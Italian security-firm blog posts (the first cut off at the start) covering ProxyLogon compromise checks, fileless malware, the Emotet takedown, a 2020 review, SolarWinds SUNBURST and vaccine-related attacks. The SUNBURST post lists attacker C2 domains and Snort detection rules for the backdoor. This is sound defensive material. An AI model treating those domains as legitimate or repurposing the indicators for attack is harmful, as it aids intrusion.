Organizzare la difesa intorno al concetto di Data Loss Prevention Nel caso particolare di Axios è stato dichiarato che i dati presenti sui loro sistemi (tra cui i dati personali nostri e dei nostri figli) non risultano essere stati “rubati”, ma non esiste certezza durante questi attacchi che non ci sia stato tale furto. Un piano efficace deve prevedere questi passaggi: definire il dominio principale di protezione e identificare i tipi di dato che vengono scambiati e dove vengono memorizzati; Verificare di avere un piano di backup completo che tenga conto delle effettive esigenze con effettuando test di restore a intervalli regolari; rivedere, se presenti, i piani di business continuity, disaster recovery e le procedure per eventuali data breach.
Non sottovalutare le vulnerabilità Gli strumenti sopracitati evidenziano comportamenti anomali e con una buona strategia di difesa si può garantire una protezione del dato a diversi livelli. Tuttavia sarebbe utopistico affermare che i sistemi possano essere considerati sicuri. Il concetto di vulnerabilità e soprattutto di vulnerabilità 0-day è per sua natura in contrapposizione, ma avere politiche di patching dei software presenti in azienda può ridurre di molto il rischio di sfruttare vulnerabilità, che come visto, sono spesso i punti d’ingresso degli attaccanti.
Fare awareness sui dipendenti Lavorare sulla consapevolezza degli utenti con corsi di formazione ricorsivi e su tematiche quali l’ingegneria sociale, il phishing, l’uso consapevole delle piattaforme e la gestione delle password, solo per citarne alcune, contribuisce a creare una cultura della sicurezza in azienda e quindi innalzare scudi difensivi.

L'attacco a Microsoft Exchange: come identificarlo

Filadelfio Emanuele — Wed, 10 Mar 2021 10:16:01 +0000

Il 2 marzo sono state pubblicate quattro vulnerabilità Microsoft CRITICHE (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 e CVE-2021-27065), legate a un exploit 0-day di Microsoft Exchange Server. Le vulnerabilità, se sfruttate “in catena”, permettono agli attaccanti di ottenere accessi illegittimi a diversi server Exchange on-premise esposti su Internet.

L’attacco può essere molto pericoloso a causa della semplicità di utilizzo di queste vulnerabilità. Il gruppo APT (Advanced Persistent Threat) HAFNIUM, facente riferimento al territorio cinese sta effettuando attacchi su larga scala al di fuori del proprio territorio, principalmente negli Stati Uniti, ma ne è impattato anche il territorio italiano ed europeo. L’indicizzazione Shodan a cui i Threat Actors fanno riferimento, vedevano esposte più di 266mila macchine il giorno 4 marzo. Oggi, dopo 6 giorni, il numero è sceso a 97mila.

Microsoft potrebbe aver appreso delle vulnerabilità attorno al 5 gennaio e impiegato quindi due mesi a rilasciare le patch correttive. Tempo che è stato proficuamente impiegato dagli attaccanti cinesi (ma potrebbero non essere i soli) per colpire oltre 250 mila aziende.

Le azioni di mitigation: verifica delle compromissioni e patching

Microsoft ha creato un post con tutte le informazioni legate alle vulnerabilità ed è in continuo aggiornamento.

Attualmente il funzionamento dell’attacco è ancora in fase di analisi, ma suggeriamo fortemente di fare due azioni il prima possibile:

A. VERIFICARE LA COMPROMISSIONE TRAMITE SCRIPT

Di seguito la procedura per l’analisi:

1. Collegarsi al DC e agli Exchange
2. Lanciare lo Script Test-ProxyLogon.ps1 di Microsoft recuperabile [da qui](https://github.com/microsoft/CSS-Exchange/tree/main/Security)
3. Verificare la presenza di file aspx sospetti nella cartella C:\inetpub\wwwroot\aspnet_client\ e sottocartelle
4. Effettuare i controlli seguenti tramite Powershell
5. Lanciare i seguenti comandi:

• [temp] Controllare il contenuto nella cartella temp di sistema tramite powershell alla ricerca di eventuali archivi/dump sospetti:

    Get-ChildItem C:\Windows\Temp -recurse -include *.rar | ConvertTo-Json
    Get-ChildItem C:\Windows\Temp -recurse -include *.zip | ConvertTo-Json

• [root] Controllare il contenuto mella cartella root di sistema tramite powershell alla ricerca di eventuali archivi/dump sospetti:

    Get-ChildItem C:\root -recurse -include *.rar | ConvertTo-Json
    Get-ChildItem C:\root -recurse -include *.zip | ConvertTo-Json

• [programdata] Controllare il contenuto nella cartella ProgramData di sistema tramite powershell  alla ricerca di eventuali archivi/dump sospetti: 

    Get-ChildItem C:\ProgramData -recurse -include *.rar | ConvertTo-Json
    Get-ChildItem C:\ProgramData -recurse -include *.zip | ConvertTo-Json

• [tasks] Controllare gli scheduled tasks presenti sulla macchina tramite powershell alla ricerca di scheduled task sospetti:

    Get-ScheduledTask | ForEach-Object {
    [pscustomobject]@{
    Name = $_.TaskName
    Path = $_.TaskPath
    LastResult = $(($_ | Get-ScheduledTaskInfo).LastTaskResult)
    NextRun = $(($_ | Get-ScheduledTaskInfo).NextRunTime)
    Status = $_.State
    Command = $_.Actions.execute
    Arguments = $_.Actions.Arguments
    }
    } | ConvertTo-Json

• [winev] Controllare tramite EV Winev_System la presenza di system ID: 7045 alla ricerca di servizi sospetti

• [users] Controllare gli utenti creati dopo una data {QUESTO CONTROLLO VA EFFETTUATO SOLO SU UNO DEI DOMAIN CONTROLLER}:

    Get-ADUser -Filter * -Properties whenCreated | where {$_.whenCreated -gt $((Get-Date).AddDays(-10))} | FT Name, whenCreated

B. ESEGUIRE LE PATCH DELLE VULNERABILITÀ

Azione da effettuare il prima possibile nel caso in cui il server NON sia stato ancora compromesso. Di seguito le patch per ogni versione di Microsoft Exchange Server:

Microsoft Exchange Server	Link
Exchange 2019 CU8	https://www.microsoft.com/en-us/download/details.aspx?id=102770
Exchange 2019 CU7	https://www.microsoft.com/en-us/download/details.aspx?id=102771
Exchange 2016 CU19	https://www.microsoft.com/en-us/download/details.aspx?id=102772
Exchange 2016 CU18	https://www.microsoft.com/en-us/download/details.aspx?id=102773
Exchange 2013 CU23	https://www.microsoft.com/en-us/download/details.aspx?id=102775
Exchange 2010 SP3 RU32	https://www.microsoft.com/en-us/download/details.aspx?id=102774

Se dovessi rilevare una compromissione nel sistema e desiderassi il nostro supporto puoi mandarci una mail a sos@cybergon.com con i dettagli della richiesta.

Quando l'attacco non fa rumore: i malware fileless

Jeremy Moeys — Thu, 18 Feb 2021 10:16:01 +0000

Sun Tzu, ne “L’arte della guerra” pone il silenzio come presupposto della sorpresa, della superiorità e infine della vittoria. Anche quando ci riferiamo all’anatomia di un attacco informatico, il silenzio gioca un ruolo fondamentale.

I malware fileless hanno la caratteristica di non lasciare file – appunto – sul disco del dispositivo, ma di risiedere in memoria, rendendosi di fatto silenti. Con l’avanzare delle tecnologie i cyber criminali hanno ridotto al minimo contenuti malevoli all’interno dei file per bypassare i sistemi di difesa tradizionale su cui molte aziende ancora oggi si basano: gli antivirus. Tra i cyber security trend 2021 identificati da Eset i malware fileless sono stati indicati come minaccia in evoluzione e che potrebbe presto essere utilizzata su larga scala.

I fileless nascono in origine per lo spionaggio e gli attacchi più avanzati, ma hanno preso piede di recente con il sistema del cybercrime-as-a-service, che prevede la reperibilità nel dark web di toolkit pronti all’uso.

Questi attacchi hanno l’obiettivo specifico di esflitrare brevetti e PII, informazioni personali che sono direttamente riconducibili a identità reali (come mail, password, indirizzi). La natura degli attacchi informatici però è mutevole, come possono esserlo gli obiettivi per cui viene fatto. Dal momento che a guidarli sono esperti che possono adattare le proprie difese e strategie di evasione per rendersi ancor più furtivi, possiamo aspettarci un’evoluzione anche per quello che riguarda il bersaglio di questi attacchi: oggi “solamente” i dati sensibili, domani potremmo assistere a un cambio di paradigma.

Il caso Gootkit e la campagna tedesca

Gootkit è un banking trojan che ha fatto la sua comparsa nel giugno del 2018 e che si è da subito guadagnato un posto di tutto rispetto nella classifica dei malware più efficaci e pericolosi degli ultimi anni. Riesce ad infiltrarsi in modo silente nel sistema: la sua funzione principale è quella di registrare, attraverso la pressione dei tasti, le password che vengono digitate dall’amministratore di sistema per poi compromettere l’intera infrastruttura della vittima.

È importante per l’attaccante tenere nascosta l’intrusione così da poter mantenere un vantaggio e sovvertire successivamente il sistema operativo a suo piacimento. Oltre alle password infatti, Gootkit fornisce accesso remoto ai sistemi tramite backdoor, riesce a filmare tramite la webcam del pc ed infine inietta script malevoli per fare collection di credenziali bancarie.

L’ultimo ingresso in scena è stato alla fine di novembre, ha affiancato un’altra celebrità tra i malware: il ransomware REvil, in una campagna diffusa in Germania.

In quest’ultimo attacco il mezzo di diffusione è stato WordPress, considerato tra i CMS più vulnerabili di sempre. La modalità per ingannare gli utenti prevede di postare falsi contenuti sotto forma di domande e risposte sui forum dei siti web tedeschi basati su WP. L’utente ignaro cliccando sul link scarica un file ZIP con contenuto offuscato in JavaScript che installa il malware. Lanciando lo script viene poi contattato il server Command&Control e scaricato un altro script che contiene il payload malevolo.

La detection degli attacchi silenti

Rilevare un malware di questa tipologia può essere davvero complicato dal momento che la loro prima preoccupazione dopo aver breachato il perimetro è di disabilitare i log del sistema operativo e le funzioni dei programmi che possono rilevarli e bloccarli. Per riuscire nell’impresa vengono adottate diverse tecniche: il polimorfismo, la continua rigenerazione di hash, meccanismi di occultamento del codice di cui sono due esempi illustri Trickbot e Ryuk.

Contrariamente a quanto si crede, i fileless non sono meno efficaci di malware comuni: i payload sono esattamente gli stessi. Tramite la Powershell, l’attaccante esegue i comandi necessari da remoto e può farlo principalmente attraverso due modalità di esecuzione: nella prima l’utente scarica un file che non risulta essere malevolo ma al cui interno risiede lo script offuscato; nella seconda viene sfruttata una vulnerabilità per l’RCE, la Remote Code Execution. La percentuale di successo dell’attacco è molto elevata in entrambi i casi.

Secondo il Ponemon Cost of a Data Breach Study 2020 il tempo medio di detection di un data breach è di 197 giorni. La complessità di detection di questi attacchi è notevolmente aumentata poichè la Cyber Kill Chain tradizionale non riesce più a rispondere alle esigenze di difesa del perimetro aziendale. Se non si è dotati di strumenti di detection avanzati, l’unico modo per accorgersi di una compromissione silente è quando un servizio va offline, ma quel momento rappresenta il sintomo ed è ormai troppo tardi.

Quando un ransomware colpisce un’azienda, una efficace strategia di difesa permette di portare alla luce l’”intruso”; la stessa condizione non si verifica nel caso di un attacco silente che non riesce ad essere individuato per lunghi periodi di tempo.

Utilizzando un gioco di parole, nelle aziende la non-evidenza di un attacco informatico viene percepita come non-evidenza di un data breach. A volte però i criminali informatici utilizzano un diversivo, lo stesso genere di “noise” con il quale mascherano le vere intenzioni di un attacco che vanno ricercate sì nell’esfiltrazione di dati, ma non si limitano lì. Il dato non ha un valore universalmente riconosciuto, ma per ogni specifico caso l’informazione assume valore quanto più è correlabile ad altre o in base allo scopo finale. Per questo un attacco può essere perpetrato per assumere vantaggio competitivo, per denaro, per ottenere brevetti e proprietà intellettuale, per vendetta, per ideologia.

Due attacchi in particolare nel mondo cyber sono capaci di generare tale caos e rumore: il primo è sicuramente il già citato ransomware che riesce a criptare tutti i file e riesce a limitare le azioni di forensics per comprendere come si è stati attaccati e capire quali dati siano stati compromessi diventa un processo critico. A tal proposito solo recentemente abbiamo visto l’evoluzione del ransomware in leakware: un potente esfiltratore di dati che pone ulteriore pressione sulla vittima ricattandola di pubblicare i dati sensibili online in caso di mancato pagamento.

Il secondo tipo di attacco si chiama DDoS, Distributed Denial of Service, letteralmente «Interruzione distribuita di servizio»: una minaccia informatica che tempesta di richieste un sito o un’infrastruttura IT allo scopo di fargli superare la capacità di gestione e impedirgli di funzionare correttamente.

L’anomalia, evidenza di un possibile incident, a volte compare come una impercettibile onda sonora di sottofondo che solo i più sensibili strumenti di detection sono in grado di cogliere oppure come fragoroso frastuono scatenato dai gruppi criminali e dalle loro botnet.

La frase “Se ci sono due aziende una è stata attaccata, l’altra lo sarà” dovrebbe forse essere ripensata in “Se ci sono due aziende una è stata attaccata, l’altra ancora non lo sa”.

Il Re è morto, viva il Re

Sara Loprete — Fri, 29 Jan 2021 10:16:01 +0000

Il mondo della Cyber Security è fatto di attacchi spietati, furti e rivendita di dati, danni milionari. Ma è fatto anche di difesa organizzata e di contrattacchi.

Un’operazione congiunta globale – chiamata Operazione Ladybird – coordinata da Europol ed Eurojust e a cui hanno preso parte le forze dell’ordine e le autorità giudiziarie di Paesi Bassi, Germania, Stati Uniti, Regno Unito, Francia, Lituania, Canada e Ucraina ha permesso l’interruzione della botnet Emotet.

Emotet è apparso come Banking Trojan nel 2014 e nel corso di questi anni ha raggiunto il picco della diffusione e della notorietà, arrivando a costare, secondo il Dipartimento Homeland Security, oltre 1 milione di dollari alle organizzazioni colpite. A dicembre 2020 ha scalato la classifica dei malware più diffusi stilata da Check Point, piazzandosi al primo posto. Tra marzo e aprile, durante il primo lockdown Emotet è tornato sulla scena con campagne di phishing a tema Covid-19, che abbiamo analizzato qui.

I dettagli dell’operazione

Per l’operazione è stato adottato un approccio nuovo: dopo due anni di indagini e lavoro coordinato, le forze dell’ordine e le autorità giudiziarie hanno acquisito il controllo dell’infrastruttura backend di Emotet e l’hanno rimossa dall’interno. Numerosi esperti di sicurezza hanno lavorato per dirottare simultaneamente centinaia di server command-and-control situati in tutto il mondo, con l’obiettivo appunto di tracciare e distruggere la botnet.

Hanno silenziosamente sostituito macchine di loro proprietà negli indirizzi IP in cui c’erano quelle di Emotet, molte delle quali erano computer precedentemente compromessi e utilizzati per la gestione della botnet, quindi hanno preso il controllo di un server C&C dopo l’altro. In questo modo se una macchina vittima raggiungesse uno degli attuali server, riceverebbe un payload inerte che impedirà ulteriori comunicazioni con la botnet, di fatto sterilizzando ogni pericolo ulteriore.

In passato, operazioni simili hanno portato a un (solamente) temporaneo abbattimento delle botnet, che si ripresentavano poco dopo. Gli autori dell’operazione si dicono fiduciosi che questo non accadrà. Nella dichiarazione della polizia olandese si è reso noto di aver scoperto e interrotto tutti i backup delle infrastrutture, e di aver monitorato i processi per intercettare eventuali tecniche di recovery alternative, così da impedire la ricostruzione di Emotet.

Se Emotet fosse stato distrutto in modo permanente - il condizionale è d’obbligo - il takedown potrebbe effettivamente rappresentare un duro colpo per gli operatori di ransomware in tutto il mondo che hanno causato miliardi di dollari di danni e persino messo in pericolo vite umane all’interno di ospedali presi di mira con i loro tentativi di estorsione, in quanto Emotet ha rappresentato il punto di appoggio per lo sviluppo di altri trojan.

L’operazione Ladybird ha portato inoltre all’arresto di due membri ucraini del gruppo (TA542) e all’identificazione di altri autori.

Mentre le indagini sono ancora in corso, tra le scoperte fatte nel corso dell’operazione fino ad ora è emerso un database contenente gli indirizzi email raccolti dalla botnet. La polizia olandese ha messo a disposizione un portale in cui inserire la propria mail per verificarne la presenza nella raccolta e in caso di risposta affermativa, ricevere una mail di approfondimento.

Forse possiamo escludere il ritorno della botnet per come la conosciamo, ma non possiamo assicurarci che gli autori e i membri ancora in circolazione non daranno vita a nuove avventure criminali, tornando – ad esempio – sottoforma di APT. Così come insegna la mitologia: Ercole dopo aver tagliato una testa all’Idra, dovette affrontarne due.

Almanacco 2020: eventi e trend

Marco Lucchina — Thu, 07 Jan 2021 10:16:01 +0000

Si chiude l’anno in cui l’Italia ha visto il maggior numero di morti annue dal 1944.

Si chiude l’anno 0 della Cyber Security, quello nel quale TUTTI hanno scoperto il potere del digitale e il suo lato oscuro. Un anno iniziato con le aziende alla rincorsa di portatili e connessioni VPN per poter dare continuità operativa ai propri collaboratori, proseguito con il cordoglio e la solidarietà nazionale, la rabbia per esserci ricascati e un finale purtroppo all’altezza con il tetro scenario globale.

Un trittico di notizie che non si credevano possibili: FireEye, una delle principali aziende globali di Cyber Security, è stata oggetto di attacco che ha portato nelle mani dei malintenzionati molti tool di Red Teaming, quelli utilizzati per forzare i sistemi. La settimana successiva il Ministero del Commercio degli Stati Uniti e altre importanti agenzie governative sono state attaccate con compromissioni di diversi account email. Lo stesso giorno il sistema di autenticazione di Google non è stato in grado di permettere a milioni di utenti di accedere ai servizi. Nonostante le smentite ufficiali molti vi hanno visto una correlazione.

Sta di fatto che la paura ha preso il posto del timore. La conferma è arrivata poco dopo ed è ancora più spaventosa dell’ipotesi: nessun concatenamento ma un unico attacco perpetrato con un vettore inusuale: una backdoor inserita in un aggiornamento di Solarwinds Orion. La portata dell’attacco non è ancora nota, ma i suoi effetti caratterizzeranno almeno il primo trimestre del nuovo anno.

Si chiude l’anno della prima vittima conclamata a seguito di un attacco Ransomware, è successo il 17 settembre in Germania, una donna per via della indisponibilità dei sistemi di accettazione del pronto soccorso è stata rinviata verso un’altra struttura; purtroppo è deceduta durante il trasferimento.

In dicembre è stato segnalato il più cospicuo pagamento in Bitcoin presumibilmente riferibile ad un riscatto: 34 milioni di dollari. Novembre lo dedichiamo agli attacchi contro le aziende farmaceutiche che stavano sviluppando il vaccino contro Sars-Cov-2. Un attacco ha colpito Moderna, il governo Britannico ha denunciato diversi tentativi da parte di APT e alla fine è toccato all’Agenzia Europea del Farmaco dichiarare che alcune informazioni sui test in corso erano state illegalmente sottratte dai loro sistemi informatici.

Ottobre invece va alla geopolitica con una non ben definita APT Cinese che ha sottratto i dati personali di metà (!!) dei lavoratori di Taiwan.

Agosto è stato il mese di Garmin: dopo giorni di fermo del servizio si è diffusa la notizia di un pagamento milionario.

Luglio il mese che ci ha riportati ai ricordi degli anni Novanta: un diciassettenne di Tampa, in Florida, ha forzato una console di amministrazione di Twitter e ha preso possesso di alcuni account decisamente importanti: Barak Obama, Elon Musk, Apple, Joe Biden, e altri. Per fortuna il suo talento nel forzare il sistema non si è ripetuto nell’ordire truffe; il danno economico si è «limitato» a centomila dollari, quello di immagine per Twitter, invece, non è calcolabile.

Giugno: Nintendo, Postbank, Foodora, Equifax sono state accumunate dall’obbligo di dichiarare databreach che hanno coinvolto informazioni sensibili dei loro utenti. È stato anche il mese in cui la privacy di Whatsapp ha traballato quando si è scoperto un baco che, in particolari condizioni, pubblicava su Google il numero di telefono dell’utente.

In maggio è toccato ad Easyjet dichiarare che un numero elevato di informazioni personali dei suoi clienti, compresi i numeri delle carte di credito erano stati compromessi, Nello stesso mese haveibeenpwned ha aggiunto un database da 27 milioni di record contenete nome utente, password e indirizzo email provenienti da LiveJournal, un popolare servizio di blogging.

I mesi precedenti sono passati in una sorta di sospensione forzata: il SOC di CybergON ha gestito circa un quinto degli incidenti del secondo semestre e abbiamo poi scoperto essere una ratio comune a tutte le organizzazioni che fanno sicurezza. Sono state formulate diverse teorie in merito, la più accreditata, secondo noi, è che la rincorsa a far lavorare le persone in Smart Working abbia aperto un numero significativo di falle ma che, per sfruttarle, i criminali abbiano aspettato la ripresa economica. Questo spiegherebbe l’inusuale numero di aziende industriali italiane colpite da luglio in poi e la gravità del danno subito.

Aspettative e trend per il 2021

Si apre l’anno 1 della Cyber Security, quello in cui la pericolosità del fenomeno è stato universalmente riconosciuto, quello che vedrà sempre più specialisti e responsabili di infrastrutture e applicazioni dormire sonni agitati con l’aumento delle notizie di compromissioni.

Ci saremmo augurati di poter iniziare il nuovo anno senza alcune cattive abitudini, ma alla fine ci siamo convinti che ci accompagneranno anche nel 2021:

Oltre la metà degli utenti riutilizza password precedentemente oggetto di un data breach;
Monitoraggio delle vulnerabilità, aggiornamento dei sistemi, finestre di manutenzioni ordinarie e di emergenza, sono processi strutturati in poche organizzazioni;
Nome utente e relativa password, scalpellate all’interno del codice applicativo è ancora una pratica in uso e pochi hanno una mappa di quelle in funzione;
Administrator, admin, SAPadmin, ExchangeAdmin, ecc. devono essere bannati dalle organizzazioni: ogni persona deve essere responsabile delle proprie credenziali e dei livelli di accesso concessi;
Compartimentare la propria organizzazione dovrebbe essere obbligatorio, altrimenti un CIO non potrebbe neanche entrare in azienda;
Oggi, non avere dei backup a prova di ransomware è estremamente rischioso;
I LOG devono essere storicizzati per permettere agli specialisti di capire cosa è successo in caso di attacco. Ovviamente in caso di compromissione di una macchina, l’intruso per prima cosa li cancellerà, quindi devono essere salvati altrove.

Le predizioni, infine, sono quella serie di infruttuosi tentativi di proiettare un trend attuale senza vedere quello in rotta di collisione. Questi sono quelli che abbiamo identificato noi:

Il Cybercrime, rappresentabile come la terza economia al mondo, costerà circa 10 milioni di dollari al secondo per tutto il 2021. Warren Buffet ha recentemente commentato come il Cybercrime, soprattutto per la facilità di entrare in contatto con chiunque tramite il Darkweb, sia il problema numero uno dell’umanità: un attacco informatico è in grado di paralizzare un’organizzazione, una città o un’intera nazione e per questo va considerato alla stregua di un’arma nucleare.
I danni provocati da Ransomware, che per modalità ed efficacia sono il metodo più facile e veloce per ottenere illeciti guadagni nel breve termine, arriveranno a 20 miliardi di dollari nel 2021.
La superficie di attacco cresce esponenzialmente, entro il 2023 il numero di dispositivi connessi alla rete triplicherà e la tecnologia 5G deve ancora essere definita dal punto di vista della Cyber Security. Certo sarà possibile connettere tutti i dispositivi di casa direttamente alla rete e beneficiare di maggiore banda, funzionalità e servizi, ma quanto inciderà quel “direttamente” sulla sicurezza?
La crescente adozione di soluzioni multi-tenant, soprattutto associate alle varie tipologie di Cloud e a fornitori terzi, le renderà estremamente appetibili per gli APT (Advanced Persistent Threat). Quello che è stato fatto utilizzando Solarwinds Orion come vettore è un esempio in questo senso: una compromissione che ha permesso l’accesso a diverse organizzazioni. Già quest’anno si potrebbe assistere al primo hack (conclamato) di un hyperscaler. Facciano attenzione soprattutto i service provider locali.
La data economy, da cui dipende la capitalizzazione delle prime dieci aziende globali, raggiungerà presto i 200 zettabytes (10 alla 21 bytes). Tanto oro in tanti caveau.
Entro il 2025 ci saranno sul cloud 100 zettabytes di dati, circa metà della capacità di archiviazione mondiale. Questo renderà l’identità digitale e i fattori di autenticazione che la regolano la vera architrave della sicurezza delle organizzazioni.
Nel 2021 l’industria della Cybersecurity dovrà proteggere 300 miliardi di password;
Nel 2021 ci si aspetta un bel po’ di danni dovuti alla forzatura dei sistemi dei veicoli a guida autonoma.

Concludiamo con la corsa tecnologica: solo in Europa sono operative più di 2000 vendor di Cyber Security, per la prima volta dai tempi di Olivetti anche realtà italiane si stanno affacciando con successo sullo scenario internazionale. I SOC basati su SIEM, universali fino a poco tempo fa, stanno segnando il passo, il futuro è nell’intelligenza artificiale. Scontato vero? Ovviamente un’affermazione del genere non basta, bisogna dire anche il compito assegnatole: dovrà essere in grado di sostituire gli analisti nell’applicare tecniche e tattiche di REMEDIATION in modo da ridurre l’impatto di un attacco. Oggi sono in grado di occuparsi di DETECTION e, in parte, di RESPONSE, ma REMEDIATION e MITIGATION sono ancora totalmente in carico agli umani. Nonostante questo non risolveremo il problema delle SPAN-PORT.

Buon 2021 dal team CybergON.

Sunburst: Backdoor nelle patch di SolarWinds Orion

Matteo Manzoni — Tue, 15 Dec 2020 09:46:01 +0000

L’attacco a diverse agenzie federali e ai Dipartimenti del Tesoro e del Commercio degli Stati Uniti è stato definito come tra i più importanti degli ultimi 5 anni. Un’offensiva durata molto tempo e perpetrata sfruttando un aggiornamento di SolarWinds. Abbiamo analizzato l’attacco, come sia stato possibile possibile veicolarlo attraverso l’infezione di alcune patch di SolarWinds Orion e quali sono i tool che abbiamo a disposizione per contrastarlo.

Questa campagna APT denominata UNC2452, tuttora attiva, si presume abbia visto la luce nella primavera 2020 con attacchi malspam diretti ad alcuni dipendenti SolarWinds. La scelta di questa azienda è stata dettata dal suo parco clienti composto da target molto appetibili dal punto di vista delle informazioni trattate, come il Dipartimento del Tesoro, del Commercio e la Homeland Security Statunitensi.

La dinamica dell’attacco

I threat actors, una volta compromesso un utente di SolarWinds, hanno eseguito delle privilage escalation per arrivare ad ottenere il certificato di firma digitale della società statunitense e le credenziali per l’accesso alla repository degli update.

Ottenute le credenziali di accesso alla repository di update ed il certificato di digital signature, la creazione di un Microsoft Patch File (.msp), “armato” per scopi malevoli è un’operazione banale, è invece “some of the best operational security” il passare inosservati per 8 mesi all’interno di alcune delle più sicure organizzazioni al mondo.

Per ottenere questo livello di furtività l’APT che ha ideato UNC2452 si è avvalso del OIP - Orion Improvemement Program, un protocollo legittimo di SolarWinds che utilizza HTTPS per contattare la casa madre ai fini diagnostici. Grazie ad una semplice modifica sui DNS SolarWinds è stato possibile sfruttare un CNAME legittimo per contattare un IP gestito dal threat actor, utilizzando OIP come protocollo C2C.

La backdoor, chiamata SUNBURST, inserita nel file SolarWinds.Orion.Core.BusinessLayer.dll è stata riscontrata ad oggi su 18000 dei 300000 clienti SolarWinds Orion.

L’infection chain di questa campagna è stata variata nel tempo ma è ad alto livello riconducibile a:

Esecuzione della Orion modificata dal APT e posta sul update server Solarwinds
Periodo latente, tra 1 e 7 settimane
Beaconing OIP per identificazione target
Verifica target da parte dell’APT, decisione di continuazione o dearm dell’attacco
Download dell’agente di persistenza
Istaurazione della connessione offuscata con C2C
Lateral Movement con credenziali differenziate
Swap ed estrazione di file

Di seguito la matrice MITRE ATT&ACK con le tecniche osservate nei samples:

ID	Description
T1012	Query Registry
T1027	Obfuscated Files or Information
T1057	Process Discovery
T1070.004	File Deletion
T1071.001	Web Protocols
T1071.004	Application Layer Protocol: DNS
T1083	File and Directory Discovery
T1105	Ingress Tool Transfer
T1132.001	Standard Encoding
T1195.002	Compromise Software Supply Chain
T1518	Software Discovery
T1518.001	Security Software Discovery
T1543.003	Windows Service
T1553.002	Code Signing
T1568.002	Domain Generation Algorithms
T1569.002	Service Execution
T1584	Compromise Infrastructure

Questa campagna è da denotare come high effort in quanto l’APT ha creato i seguenti componenti dal nuovo:

TEARDROP: un dropper stenografico memory-only, sfrutta il download di uno stream immagine per ottenere l’agente di persistenza
Custom BEACON: versione fortemente customizzata di Cobalt Strike BEACON utilizzato come agente di persistenza sulle macchine target simula il protocollo OIP per lo scambio di messaggi con i C2 server. Questa webshell è stata chiamata dagli analisti SUPERNOVA

SolarWinds ha rilasciato una advisory riportante i passi necessari per il contenimento e neutralizzazione dell’attacco. Vista la complessità di UNC2452 e il tempo in cui è passata inosservata sono ancora da valutare possibili impatti sulle infrastrutture, durante l’analisi di alcuni messaggi C2C abbiamo riconosciuto comandi per la modifica di ACL su apparati di network-security perimetrali dei maggiori vendor.

CybergON ha implementato all’interno delle sue firme SNORT/Suricata opensource la detection del protocollo OIP sfruttato dal Threat Actor e relativa blocklist sui CNAME utilizzati dal dropper per l’identificazione del cliente:

.appsync-api.eu-west-1.avsvmcloud.com
.appsync-api.us-west-2.avsvmcloud.com
.appsync-api.us-east-1.avsvmcloud.com
.appsync-api.us-east-2.avsvmcloud.com

alert tcp $HOME_NET any -> any any (msg:"Backdoor.SUNBURST"; content:"T "; offset:2; depth:3; content:"/swip/Events HTTP/1"; within:100; content:"Host: "; content:!".solarwinds.com"; within:100; sid:870182902; rev:1;)
alert tcp $HOME_NET any -> any any (msg:"Backdoor.SUNBURST"; content:"T "; offset:2; depth:3; content:"/swip/upd/SolarWinds.CortexPlugin.Components.xml"; distance:0; content:"Host: "; content:!".solarwinds.com"; within:100; sid:870182903; rev:1;)
alert tcp any any -> any any (msg:"Backdoor.SUNBURST"; content:"T "; offset:2; depth:3; content:"Host:"; content:".avsvmcloud.com"; distance:0; sid:870182900; rev:1;)
alert tcp $HOME_NET any -> any any (msg:"Backdoor.SUNBURST"; content:"T "; offset:2; depth:3; content:"swip/Upload.ashx HTTP/1"; within:100; content:"Host: "; content:!".solarwinds.com"; within:100; sid:870182901; rev:1;)
alert tcp $HOME_NET any -> any any (msg:"Backdoor.SUNBURST"; content:"T "; offset:2; depth:3; content:"/swip/upd/"; within:75; content:" HTTP/1."; distance:0; content:"Host: "; content:!".solarwinds.com"; within:100; sid:870182910; rev:1;)

Per evitare che un semplice cambio di infrastruttura potesse ridare nuova vita a questo attacco sono state create alcune regole yara che permettono la detection dei due stati del malware SUNBURST e SUPERNOVA, queste rules applicate alla nostra sandbox sono state in grado di riconoscere con 87% di accuratezza sample estratti da attacchi al momento in corso.

La first discovery di UNC2452 è avvenuta a seguito dell’indagine sul databreach subito dalla compagnia di sicurezza FireEye, anch’essa vittima dell’attacco.

Covid-19 e vaccino: gli attacchi informatici

Jeremy Moeys — Fri, 11 Dec 2020 14:36:01 +0000

La cyberwarfare, la sponsorizzazione di Stato del crimine informatico, dall’inizio pandemia Covid-19 si è tramutata in una vera e propria guerra alla proprietà intellettuale. Secondo il report Enisa 2020 lo spionaggio è la motivazione dietro al 20% dei data breach e ha visto un significativo incremento tra luglio e novembre, periodo in cui la speculazione sui vaccini anti-covid si è fatta più intensa.

Abbiamo ripercorso il sentiero intrapreso dai gruppi criminali che hanno pianificato attacchi a case farmaceutiche e laboratori di ricerca da quando l’ipotesi di un vaccino si è fatta strada tra le testate giornalistiche. Abbiamo individuato tre paesi coinvolti nei tentativi di esfiltrazioni di dati fino ad oggi: Russia, Cina e Nord Corea. Gli interessi dei criminali informatici sono puramente economici, lucrano grazie ai riscatti dopo la sottrazione di informazioni sensibili e alla loro vendita nel dark web. Tuttavia, è stimato che il 38% dei criminali informatici è finanziato dalla Nazione di provenienza e dai suoi reparti di Intelligence.

La timeline degli attacchi

Gli intenti della Russia e della Cina dietro agli attacchi sono chiari: poter visionare i risultati delle sperimentazioni che risultano simili ai loro vaccini e possedere diverse varianti da quelle create nei loro laboratori. Infine, la Corea del Nord, non avendo le competenze scientifiche per creare un vaccino autoctono ha come principale obiettivo l’appropriamento del brevetto per poterlo sviluppare in modo autonomo. Emerge così l’attenta pianificazione criminosa che mette a dura prova Agenzie di intelligence come l’NSA americana e il NCSC britannico, impegnate nel proteggere risorse più delicate e che le rilegano sempre più a ruoli di pedine di un gioco ormai già predestinato.

A maggio quando il vaccino era solo in una prima fase clinica, il dark web, cartina tornasole per le pratiche illecite e criminose, era già popolato da vaccini fasulli venduti dagli USA per 400$ e da litri di plasma di pazienti Covid-19 per 1700$.

Il 16 luglio del 2020 viene registrato il vero primo attacco a diversi laboratori americani, inglesi e canadesi da parte del famoso gruppo Cozy Bear, conosciuto anche come ATP29 (Advance Persistant Threat) e legata ai servizi di sicurezza russi. Il modus operandi del gruppo criminale è differente da quello visto in passato, che consisteva in attacchi di spear-phishing con link malevoli e furto di credenziali riutilizzate per successivi movimenti laterali. In questa nuova campagna di attacco sfruttano vulnerabilità dei sistemi come CVE-2019-19781 Citrix e CVE-2019-11510 Pulse Secure VPN.

